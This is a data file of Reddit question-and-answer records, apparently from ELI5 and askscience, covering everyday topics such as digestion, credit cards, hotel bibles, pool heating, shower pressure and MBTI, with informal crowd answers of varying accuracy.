{"q_id": "ib9u7", "title": "I know this sounds funny, but its a serious questions: How soon after you eating a diarrhea inducing meal can the diarrhea actually hit you.", "selftext": "My brother claims that if he eats really spicy food he has diarrhea within 10 minutes, I told him its impossible for it to travel through his system that quickly and he's being ridiculous and exaggerating.  Genuinely curious...\n\nedit: Just noticed how horrible grammatically my title is, sorry about that", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ib9u7/i_know_this_sounds_funny_but_its_a_serious/", "answers": {"a_id": ["c22d6mc", "c22das9", "c22de9f", "c22dq1x", "c22fch8"], "score": [21, 57, 3, 9, 2], "text": ["The food doesn't go that fast through your digestive system. However spicy food, coffee, cigarettes... trigger bowels movements, which are the cause of the sudden urge to poop.", "Spicy foods will take time to go through your system.  It varies from person to person, but can take anywhere from [24-72 hours](_URL_1_).  Your brother is just exaggerating.\n\nThere are also bacteria/poisons that can cause diarrhea through food poisoning that would be shorter than 24 hours.\n\n* Heavy metal poisoning such as zinc can cause diarrhea/vomiting within 5 minutes.\n\n* [Scrombroid food poisoning](_URL_0_) due to fish gone bad may kick in within 10 minutes to an hour\n* Poisonous mushrooms could take anywhere from 15 minutes to 24 hours\n* Bacteria-based contamination usually takes 6-8 hours, but may be as short as an hour and as long as a week.  Parasites may take longer (up to a month)\n\nCapsaicin (the reason hot peppers are spicy)is considered an irritant, but it will *not* cause diarrhea within 10 minutes of consumption.", "Although generally with normal food it can take 24 - 72 hours, there circumstances that allow things to move through your system much faster. When you drink the colon cleansing solution the night before a colonoscopy it moves through your system in about an hour.", "As someone who is EXTREMELY lactose intolerant - if I get some dairy (or a host of other foods that are related) it can cause a reaction within minutes.  Usually I will know something is wrong within about 20 minutes of eating it.  Depending on the quantity, symptom 1 is cramping, symptom 2 is heavy sweating, and symptom 3 is rushing to the bathroom. Basically, my body is rejecting the poison and forcing it out the system as fast as possible.\n\nEdit: Just to point out... milk sugar and protein intolerance means the following foods are always suspect:  All dairy (eggs are ok, why the hell eggs are in the dairy group I'll never figure out), all beet products, red meat (pork is ok), organ meat of any kind, fermented foods (including alcohol, vodka causes the least problems), gums (such as chewing gums and gum additives to food).", "I have an ileostomy (suffered from UC) and digestion times can vary widely depending on what you eat, drink, etc.\nStuff like corn, olives, mushrooms can travel pretty fast (30 minutes to 2 hours depending on if I drink or eat something along with it). Peanut Butter, while it has fiber, also travels fast and actually causes me to empty the pouch more. This is caused by sugar.\nYour intestines tent to slow down when you are asleep, and when you wake up your intestines \"wake up\" and thus you have to go to the restroom. Although this varies too.\n\nIf I don't eat anything, and I drink a soda, for example, it can take just a couple of minutes to empty into my pouch. I found that Imodium helps a ton to slow my intestines down and allow more time to absorb what I just ate.\n\nWhen I had UC, I had chronic diarrhea. Anything I ate would cause me to have to run to the bathroom within seconds. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://secure.wikimedia.org/wikipedia/en/wiki/Scombroid_food_poisoning", "http://www.mayoclinic.com/health/digestive-system/an00896"], [], [], []]}
{"q_id": "1dwfko", "title": "the companies that show up on the front of a credit card.", "selftext": "What does it mean is you have a Visa, Mastercard, etc. and what about Chase, Amazon, etc.?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dwfko/eli5_the_companies_that_show_up_on_the_front_of_a/", "answers": {"a_id": ["c9uizfz", "c9unq6u"], "score": [2, 3], "text": [" Visa and Mastercard are the names of the companies that service your card. They process the charges and the payments.\n\nChase and other banks are the one's that loan you the money and earn the interes.. \n\nAmazon and stores typically are using a bank but pay the bank to put their name on it for marketing and encouraging you to shop there.", "Visa and Mastercard are the systems by which your transaction gets processed. The name on the front of the card (Chase, Amazon, etc.) is the company actually loaning the money.\n\nSo Visa/Mastercard are like power lines. They *deliver* the power. But the power is coming from a power plant of Amazon, Chase, etc. Those companies just don't see the need to build their own power lines when Visa and Mastercard laid down perfectly good ones years ago, and they can work together to both earn (your) money. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "giue0", "title": "Can we eat aliens?", "selftext": "Say there was another carbon based life-form similar to us but evolved separately. Would we be able to eat it? Would our body be able to absorb whatever nutrients are released from chewing on them? Would the enzymes in our saliva and stomach acid be able to break down the proteins in their flesh to something we could digest?\n\nWhat if it were not carbon based, like the silicone based aliens in Alien?\n\nOr alien plants?\n\nHow reliant is our digestive system on local produce as a result of \"maturing\" on Earth?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/giue0/can_we_eat_aliens/", "answers": {"a_id": ["c1nuvwz", "c1nux0i", "c1nuzau", "c1nv8ba", "c1nvp0f"], "score": [18, 5, 8, 14, 3], "text": ["No way to answer this.", "Yup. Martian actually tastes close to pork.\n\nBut on a more serious note, you could probably eat it, unless there was something specific that is poisonous (like how some mushrooms are poisonous even though they evolved on the same planet as us)\n\nLiving off alien flesh may cause problems because there is a chance that trace elements that we require, might be missing.", "Even if they are made of amino acids that make up us too, we still have a 50% chance that they can't be digested because almost all earthly life is made of L-amino acids instead of D- forms for no apparent reason. That is just an illustration. Unless panspermia is true its extremely unlikely we will be able to eat aliens. ", "The problem with hypothetical aliens is that they can hypothetically be made of edible compounds, or inedible compounds.", "Related question: \n\nHow much of Earth's early life evolution would be reproduced on another planet given same starting conditions?  Would alien life forms evolve to have similar basic components? Are we product of chance or strict rules?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1z6tio", "title": "why are people able to get your ip from your skype name but not from other things?", "selftext": "DDOSing is huge problem atm in league of legends (i'm sure other games too) and everyone always seems to be saying, if someone knows your skype, they can ddos you easily, i understand roughly how ddosing works, but how are they able to get your IP from skype, and not from say, your facebook? or just your league of legends username? Can't skype prevent the sharing of IPs?\n\n(I'm not looking for advice on how to avoid DDOSing, or how to mask my IP, just wondering why it's possible with skype and not other things and why skype can't seem to change it.)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1z6tio/eli5_why_are_people_able_to_get_your_ip_from_your/", "answers": {"a_id": ["cfr0wrj", "cfr1n92"], "score": [3, 2], "text": ["If you've got a direct connection to someone (through a client like Skype), they can see the IP address you're using.  Other things like Facebook aren't a direct connection between users; both people access the server to see what's been posted to it.\n\nIt's a question of who has access to the information.  If I ran a message board, I could allow administrators to see the IP addresses of everyone posting.  Or I could publish those next to a post if I wanted to.  The people with whom you're speaking are advising you avoid direct connections with people who might want to do your system harm.", "Most of the comments shutting you down are incorrect, you can use a multitude of methods to find someones ip address without being in a call with them, hell the easiest of methods would involve using a simple website like *WEBSITE EDITED OUT TO AVOID ABUSE* which allows you to find ips based off of ones skype username, as you believed was possible. NO DIRECT COMMUNICATION IS NEEDED AT ALL. \n\n~Might edit out that website in a few mins, we will see.\n^ Decided to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1igeun", "title": "Why is it that dolphins and other sea mammals can blow bubble rings horizontally without them floating upwards?", "selftext": "I have tried to blow a horizontal bubbles underwater and they don't even come close to looking like actual rings and I was wondering if it is something about the depth of the water or the dolphins. It could also very well be my own lack of bubble blowing skill. \nEdit: _URL_0_ This is an example of what I was describing.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1igeun/why_is_it_that_dolphins_and_other_sea_mammals_can/", "answers": {"a_id": ["cb4fiq8", "cb4x0y3"], "score": [4, 2], "text": ["The dolphins are creating toroidal vortices which trap the air and move horizontally.", "We can do it too. _URL_0_\nMCMXCII is right.  The force of the toroidal vortex is much stronger than the force of buoyancy that would cause the bubbles to rise.  The bubbles stay trapped in the vortex until it loses enough momentum or hits an obstruction causing it to dissipate and then the bubbles rise due to their buoyancy as you would expect."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/A3q5oSF.jpg"], "answers_urls": [[], ["http://i.imgur.com/HMiTx9s.gif"]]}
{"q_id": "27m6d5", "title": "[Biology] How do gastropods like slugs excrete mucous everywhere they travel, and not dry out in a day?", "selftext": "Yes, they tend to move slowly and probably don't cover all too much ground, but they still cover that ground with slime.  If i took a tube of product the size of a slug and saw how far I could spread it in a similar manner, it wouldn't go very far..", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27m6d5/biology_how_do_gastropods_like_slugs_excrete/", "answers": {"a_id": ["ci2dmkp"], "score": [4], "text": ["The slime of a gastropod is composed of a tangled network of glycoproteins with long chains of carbohydrates attached, and these will hold onto a lot of water molecules through hydrogen bonding. \n\n_URL_0_\n\nThis is just a conjecture, but I would suppose that holding all of this excess water just outside the skin helps to keep hydrated by reducing the skins exposure to dry air.\n\nSaid another way, it would reduce the concentration gradient of water from the inside to the outside of the skin, thus reducing the loss of water through the skin. \n\nEdit: I haven't addressed the slime trail that they leave behind, and I'm not honestly sure. I read somewhere that they excrete at least 2 types of slime, and they are mostly glycoprotein and water. I can only assume that they obtain enough food and water to sustain the residual trail ceaselessly. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://jdr.sagepub.com/content/66/2/506.short"]]}
{"q_id": "1jxx85", "title": "why do hotels always keep a bible in every guest room?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jxx85/eli5_why_do_hotels_always_keep_a_bible_in_every/", "answers": {"a_id": ["cbjda6d", "cbje0vh", "cbje3af", "cbjekmh", "cbjerdp", "cbjes3r", "cbjeypd", "cbjf781", "cbjfek4", "cbjfhdi", "cbjfk85", "cbjg0dz", "cbjh6cp", "cbjhdsl", "cbjhlhe", "cbjhx8u", "cbjitp1", "cbjk1v1", "cbjm9o4", "cbjomrl", "cbjsviw", "cbjt82f", "cbjuu1j", "cbjvs93", "cbjxjmr", "cbk00mk", "cbk2mm6"], "score": [258, 3, 30, 13, 2, 159, 27, 21, 159, 11, 3, 7, 2, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["A large Christian organization called the Gideons gives them to the hotels as a way to evangelize.", "Is this a global thing?\nI remember being in few hotels (France when smaller, Denmark few years ago Poland as well), can't say i have always searched for one, or that i have been to too many hotels, but i have never seen one on table or night stand or anywhere else.", "I was always told because a lot of suicides happen I hotels. For some it might be a sliver of  hope in that desperate moment", "Can't say I've ever seen any in the hotels in England.  Travelodges in Scotland, on the other hand, have bottle openers fixed to the bedside tables.  Which I found quite odd.  Until I remembered I was in Scotland. ", "Only in America (U.S.A.) perhaps?", "It was not started by the Gideon society.\n\n**International Bible Society** is responsible for starting this practice.  By 1823 IBS started putting bibles in hotels. IBS  provided bibles to soldiers during civil war also.\n\nThen Gideon society ( formed 1899) started putting bibles in hotels, as most of the travelling salesmen at that time were  their members.\n\n_URL_0_\n\nEDIT:  Deleted the word \" first\"  in sentence and rearranged the order, to get the chronology right. Thanks to LAKY.", "It's not the hotels that buy the Bibles. There's this christian group called [Gideons International](_URL_0_) that spend  lots of money putting holy bibles in each hotel room all over the world. They give them for free to the hotels.\n\nSometimes there's even a stamp on the bible saying which group put it there. You may want to check it out next time you find one.\n\nMost of the time, you're also allowed to take them home too. They keep replacing the Bibles. And it's usually up to the hotel managers or owners to let they put the bible on the rooms. If they don't want, the bibles are not there.\n\nI heard some mormon groups do something similar with the book of mormon, but it's not widespread enough.\n\nYou'll never see a muslim doing this though. They are very cautious about who gets the book. They fear someone may dessecrate them, so they usually only give them to other muslims and rarely, if even, they sell.", "Correct me if I am wrong, but this seems like the type of question that belongs in askreddit? It is not an example of a question with a confusing/complex answer that people don't understand and want a simpler explanation of, but rather a question with an easy answer that most people simply don't know/haven't heard before.", "Hotel Manager here.  \n\nQuick answer - expectation and superstition.  People expect to find the bible in the nightstand.  Often, if there isn't one, even the least religious of people notice and call  for a replacement.  I've even had people call the desk at 2 AM saying \"I didn't think it would bother me, but can you send up a bible?   I can't sleep\" \n\nIt is not required by law to have a bible in the room,  yet I've never worked for a company that doesn't require it as brand standard.  \n\nYes you can take them.  I have a ton of spares, and even if I didn't, the regional Gideon rep performs a \"room check\" semi-annually and ships me replacements.  \n\nAlso, check your hotel room bible. You'll often find interesting notes, doodles, and objects squished between the pages. \n\n", "A friend of mine once insisted to me that those bibles are free to take with you. His logic was that the evangelicals want more people reading the bible, so if you intend to read it they WANT you to take it with you. If a bible is taken from a room, it isn't stealing and the hotel will just replace it with another donated copy. It still sounds like stealing to me. Any thoughts?", "My wife is from Tijuana and for some reason the hotels we've stayed at while in TJ had Buddhist Koans instead. I never saw that one coming!", "Hotels don't keep bibles in every room. They allow a group, called the Gideons Society (_URL_0_), which pay for and distribute the bibles.", "The hotel I work at has them but only upon request. ", "I stayed at 4 hotels in Japan this year, all of them (Tokyo, Hakone, Kyoto and Tokyo#2) had a copy of a bible and a book that was called something like \"The Origins of Buddhism\". Titles were English and the books were half Japanese (Kanji at least, I didn't really check), and half English.", "Just an FYI, this is not always the case in EU. Quite often you won't find a bible in your hotel room. (That's at least my experiences) ", "Just to make something clear. I believe this is a VERY american thing to do.\n\nI, personally (Danish) have only had a bible in my hotel room once or twice in my entire life, and if I remember correctly I was out of country.\n\nNow again, I've never been out of Europe in my life, so I wouldn't know about other countries.", "For a more in depth answer, [Mental Floss](_URL_0_) did an article on this exact question last year.", "The owner of the  Marriott hotels is Mormon. You can find a copy of The Book of Mormon in every room. ", "I actually have worked at a hotel in the US for about 3 years. We've never had any bibles in the rooms. The hotel owner and manager aren't particularly religious people, but they figure people who are that religious will have one on them, and everyone else won't even notice. I have yet to hear any guest mention anything about it.", "Some guy called Gideon always stays in the room before me and leaves his Bible behind. Useless prick. I swear, he must have left like 50 Bibles!", "Interestingly enough, the only hotel I've ever stayed at in my life that didn't have a bible in the room was a W Hotel. It did, however, have complimentary lube and condoms (not even kidding).", "I have worked for the Gideons. Let me know if you have any questions. ", "For fundies who aren't enlightened yet.", "I heard somewhere that a lot of people commit suicide in hotel rooms so bibles were placed to help stop people from killing themselves. I am going to google it.", "Tradition, if you go out west there is a Bible and a Book of Mormon.", "If you leave the US, I think the ratio of bibles to hotel rooms decreases significantly. But I could be wrong. ", "In Hawaii at the hotel I stayed at (Prince Hakuna? I think) there was a Bible and a Buddhist bible (if that's what it's called)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.straightdope.com/columns/read/1477/why-is-there-a-bible-in-every-hotel-room"], ["http://www.gideons.org/"], [], [], [], [], ["www.gideons.ca"], [], [], [], [], ["http://mentalfloss.com/article/30241/why-are-there-gideon-bibles-hotel-rooms"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "iglgv", "title": "What is the more efficient way to heat my pool via sunlight (given what I already own)?", "selftext": "I've got a standard sized pool, with a hot tub that waterfalls into the pool.  I have a cover on both the hottub and pool similar to these : _URL_0_\n\nIt is getting warmer out side now at about 80ish degrees.  We are keeping both covers on during the day and night now 24/7.\n\nWe run the pool cleaner at 5pm-9pm, which circulates the water from the pool, into a filter, then into the hottub, which then waterfalls back into the pool.\n\nThe way our house is set up, is that most of the sun hits the pool up until about 3pm, then the house blocks the sun for the rest of the day.\n\nHere's the question (finally):  Should I run the water circulator during the day when the sun is beaming down on the pool, or at night when the pool waters' surface temperature is at its' warmest?  My goal is to up the temperature of the water most efficiently.    Or... should I do something else with the stuff that I currently have? \n\nI understand that without using an external gas/electric heating method, my water will not be 100 degrees.  I just don't know if it's more efficient to mix water that is being heated by the sun, or to let the water sit, then mix.\n\nedit: The humidity usually hovers around 59-67%, the dew point is in the 50's-60's, the water temp is about 65-67 degrees F (sometimes getting to low 70's) , white pool.\n\n\nedit2: we have blue pool covers, a standard pump system using a mix of metal and mostly pvc piping", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iglgv/what_is_the_more_efficient_way_to_heat_my_pool/", "answers": {"a_id": ["c23kwrw", "c23kxng", "c23lb02", "c23loh6", "c23lu7v", "c23nj94"], "score": [4, 2, 2, 6, 5, 2], "text": ["[pool solar hot water heaters?](_URL_0_)", "Layman: while its heating I would think. The science might be different, but I think its the same concept as stirring halfway through microwaving something.\n\nAs an aside, you'll see a lot better results with a black cover than those blue ones.", "My family would run the water from the pump through a long black hose and back into the pool I believe that this was attached to the standard pump with filter. ", "During the day. The reason is you want to maximise the difference (since heat is transferred most efficiently in those circumstances) in temperatures so running the pump in the day increases the overall amount of water subject to heating while heat is available. The larger body of water will hold a larger heat energy.", "So your question is basically:\n\nIs it more efficient to heat something with, or without, mixing?\n\nThe answer is: with mixing.  The reason: heat transfer depends on the relative temperatures of the heating and heated elements (specifically, it is [linearly dependent on the difference in temperature](_URL_0_)), so that the greater the temperature difference between the heating element and the water, the faster it will take on heat.  In fact, probably avoid circulating the water during the late night/early morning, since that'll just make it cool back down faster.\n\nThat said, you're not necessarily going to notice much of a difference, I'd imagine.", "I saw this guy on Make magazine come up with a pretty cool solution to heating his pool.  He took hula hoops and covered them in a lightweight black plastic tarp.  They're light enough that they float on the surface of the pool.\n\n[link](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/hD31h.jpg"], "answers_urls": [["http://www.builditsolar.com/Projects/PoolHeating/pool_heating.htm"], [], [], [], ["http://hyperphysics.phy-astr.gsu.edu/hbase/thermo/heatra.html"], ["http://lifehacker.com/5641710/diy-hula-hoop-pool-warmers"]]}
{"q_id": "2nejt1", "title": "What would the night's sky have looked like over medieval towns and cities?", "selftext": "Forgive me if this is the wrong place to ask, but if I were a peasant in fourteenth century Paris (or anywhere in the world) what would my night sky look like?  Would light pollution be a big issue?\n\nAlong the same lines, what *did* those people do to light up the night (if anything)?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2nejt1/what_would_the_nights_sky_have_looked_like_over/", "answers": {"a_id": ["cmdb5z4"], "score": [9], "text": ["In the fourteenth century, most public lighting in Paris would have based on elevated [cistern lamps](_URL_2_), generally with hoods to prevent inclemental weather from affecting lighting output. These lamps are only very marginally better that candles and were basically shite all around. They have a luminous intensity somewhere in the range of [6-10 candelas](_URL_1_) while clean and 2-4 while sooty. And even modern cistern lamps can be blown out in a strong wind, so understandably a good portion of them would have been extinguished on a windy evening.\n\nWith both of these facts in mind and some number crunching you can arrive at a basic model of what night would have been like for our early-millenium Parisians. I would classify an area of the size of Paris, lit primarily with hooded oil lamps with a range of 5.8 to 7.1  [NELM](_URL_0_) scoring with a mean of 6.2. You would be able to see your surroundings clearly. Clouds, mists and fog would be illuminated in the directions of the light sources but would be dark directly overhead. You would be able to see most of the zodiacal signs but only in a 30 degree range from zenith. As you moved up off of street level conditions would improve significantly. You would be able to pick out specific Messier objects and the Milky Way would have good detail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Limiting_magnitude", "http://evanmills.lbl.gov/pubs/pdf/offgrid-lighting.pdf", "http://images.fineartamerica.com/images-medium/under-the-oil-lamp-light-richard-mitchell.jpg"]]}
{"q_id": "zlxto", "title": "how is the fbi most wanted list made ?", "selftext": " Half of them look like everyday gangsters to me - are they really the most dangerous people in the world ? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zlxto/eli5_how_is_the_fbi_most_wanted_list_made/", "answers": {"a_id": ["c65thjo"], "score": [8], "text": ["The FBI works only with cases that cross states.  For example, if a criminal lives in California, then the police will try to catch him.  As soon as he crosses the border to Nevada, he is in the FBI's territory (obviously, they would need to be alerted to the criminal's presence or know that the criminal committed the crime in different states).  The most wanted list is then calculated by whomever is the most dangerous (a murderer will be higher up than a hacker).  They may not be the most dangerous in the world, but the fact that they go across the country makes them more dangerous than the normal criminal since they are repeat offenders and can harm people all across America."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3caqvx", "title": "the plot of true detective season 2 so far.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3caqvx/eli5_the_plot_of_true_detective_season_2_so_far/", "answers": {"a_id": ["cstul9u", "csu40s4"], "score": [7, 3], "text": ["I'm still unsure about the full plot but here goes my attempt:\n\nSimple version:  Vince Vaughn is investigating the murder of an important person in order for a deal to come through since he is out of money.  Colin Farrell is also investigating with a few other officer and detectives.  We are learning about the characters involved in the investigation and the basic idea is that there are two types of investigations occuring.  Vince Vaughn is investigating in a ruthless ganster style while Rachel McAdams is leading a police investigation.  Whoever they are investigating is aware of the two of the investigations and is antagonizing both parties.\n\nHere's a little more info but again, I'm still a little confused also.\n\nVince Vaughn plays Frank Seymon who is involved in organized crime and has a heavy interest in pulling a massive rail deal that can allow him to be very wealthy.  This deal is crooked.  \n\nColin Farrel plays Detective Ray Velcoro who has anger issues and stops at nothing to get his way.  He was cuckolded by a rapist and has an illegitimate son they hint at but never fully admit.\n\nVelcoro (Farrell) and Seymon (Vaughn) are connected because Seymon killed the rapist for Velcoro.  This created a relationship that enables Velcoro to pull dirty work strings when he needs too. \n\nRachel McAdams plays Det. Ani Bezzerides and has a sister who she is estranged from.  She is leading the case on the murder of an important person for Seymon to get his real estate deal.\n\nTaylor Kitsch plays Officer Paul Woodrugh.  He is accused of taking bj that is solicited and receives administrative leave.  He is helping with the investigation of the murder of the the Governor Caspere who he found while riding his bike while attempting suicide.\n\nSeymon is out of money due to his attempt to pull strings with Gov Caspere dying unexpectedly and is now in a stressful position to recapture what he lost.  Due to Gov Caspere being murdered by likely a rival organized crime group to that of Seymon, Seymon is now out to find out who committed this crime by investigating it on his own.  \n\n Velcoro is in a tough position because he is trying to regain custody of his son.  In the first episode we see the relationship between Velcoro and Seymon is thick as theives due to their history.  Velcoro gains information from Seymon about another house that Caspere brought prostitutes too.  He is shot by a riot control grade bullets and survives but a video was taken from their that likely held vital information, potentially even the act commited against Caspere. \n\nBezzerides is investigating the murder along with Velcoro and Rudrugh.  Rudrugh is given the case as a way to relieve his admin leave.  As they investigate Velcoro is the connection between the organized crime and the police force investigation.\n\nThey are all gathering information about what happened and we see hints into the characters.  \n\nAs the show continues we will most likely see a pattern of Seymon conducting an investigation that is ruthless and does not require the red tape that police have.  Velcoro will help this and give clues to Bezzerides but is not too willing to work with her as he is more loyal to Seymon than her.  I believe the premise is going to be about dirty work investigation versus a police investigation that comes together in order to bring both vigilante justice and civil justice.  Right now, the plot is confusing and ambiguous to have the audience feel as confused as the characters are in the investigation.     \n\n\n", "The Russian mob suddenly backs out of a land deal with Vince Vaughn after the man he entrusted $5 million dollars with is murdered. Rachel McAdams and Colin Farrel head the murder investigation, assited by Taylor Kitsch, the haunted Iraq vetran who discovered the body. McAdam's superiors see the investigation as an opportunity to gather evidence of corruption in the city of Vinci, a town whose only residents are shady corporations. Farrel works for Vinci PD and his superiors want him to run interference. \n\nAll of these characters seem to have pasts marred by violence and/or lousy relationships with their fathers. McAdam's father seems to be at the head of a [Synanon](_URL_0_) like cult and subjected her to some sort of unethical social experiment as a child. The investigation is slowly unearthing a world of weird sex parties, organized crime, hollywood tax loopholes, prostitution and killers in bird masks. McAdams and Ferrel begin to develop an unlikely trust. Meanwhile, Vince Vaughn is getting super angry.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Synanon"]]}
{"q_id": "4fe69x", "title": "sometimes you'll see animals, like stray dogs with 3 legs. how come they don't bleed to death when they lose a limb?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4fe69x/eli5_sometimes_youll_see_animals_like_stray_dogs/", "answers": {"a_id": ["d284b0m", "d289plw", "d28kdsd", "d28ly4l", "d29fc2u"], "score": [96, 43, 2, 5, 2], "text": ["Its also possible that the limb has damaged to the point where is essentially rotted, then detached at the joint where is was still alive ish.", "The mistake is thinking none of them die.  The ones you do see are the ones that survived a maiming.\n\nAlso, a lot of animals' limb structure is vastly different than that of humans, a lot less fleshy and therefore less bloodflow, therefore less likely for an infection to spread and therefore kill the creature, including just blood loss.\n\nFactor in how even house pets are not removed much from being wild(eg stronger instincts to hunt, clean themselves, stronger immune systems, the rate of survival of partial limb loss is a lot higher than many would think it was.", "It's actually harder to bleed to death than most people think. The body has mechanisms whick will try to reduce the blood flow to damaged parts.", "I had heard that full amputation caused the severed blood vessels to contract, reducing blood flow \u2013 if you slit your wrist you'll bleed out in a matter of minutes while if you have your hand cut off you have a *slightly* better chance of survival.\nPS: I can't prove any of this. Just what I heard on the grapevine.\nNB: Don't try this at home", "Well many will die, either to infection or blood loss. Those that survive are also likely to die due to mobility related issues like starvation or getting hit by cars. \n\nThat said life will find a way, and it has indeed found a way. The same process that makes you get a scab when you scrape your knee or cut yourself can also scab over very large but non-life threatening woulds like the loss of a limb. This will prevent blood loss and keep out infection. Many mammal species will also lick any wounds they receive in order to clean out dirt and infection. The end result is a stump with a scabbed over end. \n\nThere are some animal species that will also voluntarily sever body parts if they are broken. Many of these species are then able to regrow the lost body parts, and often times there is no bleeding associated with the loss as the body has adapted to be able to cut off blood flow to the part that was lost, often through muscle contraction. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1z9li0", "title": "How do deer survive the winter in New England?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1z9li0/how_do_deer_survive_the_winter_in_new_england/", "answers": {"a_id": ["cfrs5wu", "cfrukio", "cfs3v81"], "score": [11, 5, 6], "text": ["When it's really cold they will herd up in areas with thick undergrowth, especially evergreens with low branches which shelter as a tent might. They also move to areas with better foraging opportunities or less snow. ", "They have fat reserves built up that they use, they eat woody browse and depends if there are any ag. fields around, there are always some type of grain on the ground that was not picked up by the combine. They can stay warm by only moving during certain times of the day and laying down at certain times, there are certain types of landscapes that are warmer than others such as areas of just evergreen trees. These areas in the winter can be at least five degrees warmer in the winter and five degrees cooler in the summer.", "I imagine it much the same as in Ontario.  Deer will form up into larger groups and find a sheltered place and form what is called a deeryard.  I imagine they fare better and probably lose less heat and therefore don't burn through as many calories.  They continue to forage and eat hay around the edges of fields, and along fence lines.  When spring starts and things start to bud, even before the snow has gone, they start eating the buds off twigs.  They do have some fat, mostly on the back, between the shoulder blades, but not all over like humans.  They go through that fat, but I doubt that it amounts to more than a couple percent of it's total body weight.  Humans are at their thinnest at 6 or 7% body fat.  The have evolved to make surviving a winter easy for an adult deer.  It's only when the snow is really deep that deer populations take a big hit due to winter kill.  And even then, it's usually the yearlings that suffer the highest mortality rate.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "foqdl7", "title": "how does changing the shower head increase water pressure? shouldn't the water be coming out at the same pressure throughout my house in spite of what shower head i have?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/foqdl7/eli5_how_does_changing_the_shower_head_increase/", "answers": {"a_id": ["flgiqoe", "flgivm2", "flgklqi", "flgo9n5", "flh0sdu"], "score": [9, 3, 2, 2, 2], "text": ["You have a constant volume and pressure coming from your well or municipality.\n\nChanging your showerhead changes the size of the exit hole. Doing that while still pushing the same volume and pressure will increase that pressure as the water tries to escape.\n\nThink of it like exhaling. When you exhale out of a wide open mouth air really doesnt come out that \"hard\" now purse your lips and exhale the same and you'll notice a dramatic increase in air moving out of your mouth.", "The shower head changes the nozzle size that the water comes out.\n\nPressure is force over an area . The force of the water doesn't change, but the area that it occupies does.\n\nSmaller nozzle means smaller area, smaller area means pressure increases.", "Diameter affects water pressure. If you have a single story home and the pipes are all the same diameter then the pressure will be even throughout up until the point where the diameter changes, such as a spigot or faucet. It's like putting your thumb on the end of a hose. .the less space you allow water to escape through, the more the pressure builds up and forces the water out faster  in a stronger stream. The pressure only changes at the point of restriction.", "Different shower heads have different flow rates, and some shower heads restrict the flow before it gets to the final nozzle, which results in a lower pressure stream. You get the best pressure when the restriction in flow is at the very end.", "When flowing through a pipe, water loses pressure proportional to how fast it is flowing (plus other factors). If you have a shower head that keeps a large diameter until small holes at the end, the water pressure is close to your main line, and the water comes out fast. If your holes are bigger, then water flowed faster getting to your shower, so it loses pressure. If the holes at the end are longer (as in, the water flows a longer distance while in the holes), the water loses pressure there. If your shower head has internal buildup, that causes pressure loss."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4wc01s", "title": "mbti: what is it, how is it found, and what does it mean for a person?", "selftext": "I spoke to my friends who are psychology students about MBTI, and they spoke about them as if they were zodiac signs. For example, INFPs like myself are more driven by emotion, and tend to perform better in the arts. Is MBTI basically glorified zodiac signs? How well researched is it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4wc01s/eli5_mbti_what_is_it_how_is_it_found_and_what/", "answers": {"a_id": ["d65rcih"], "score": [6], "text": ["It's not exactly zodiac signs, but it's often overstated.\n\nThe traits that are described are real. There are people who are more introverted than others, for example. However, the most common pitfall with MBTI is believing that most people are clearly on one side or another of a given axis. In reality, most people fall in the middle. It's a bell curve around the center of each category. Most people are neither very introverted nor very extroverted, etc.\n\nIt's also worth noting that, especially for those typical people near the middle, things change day-to-day or even from one situation to another. A person might have a more-introverted day and then a more-extroverted day."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
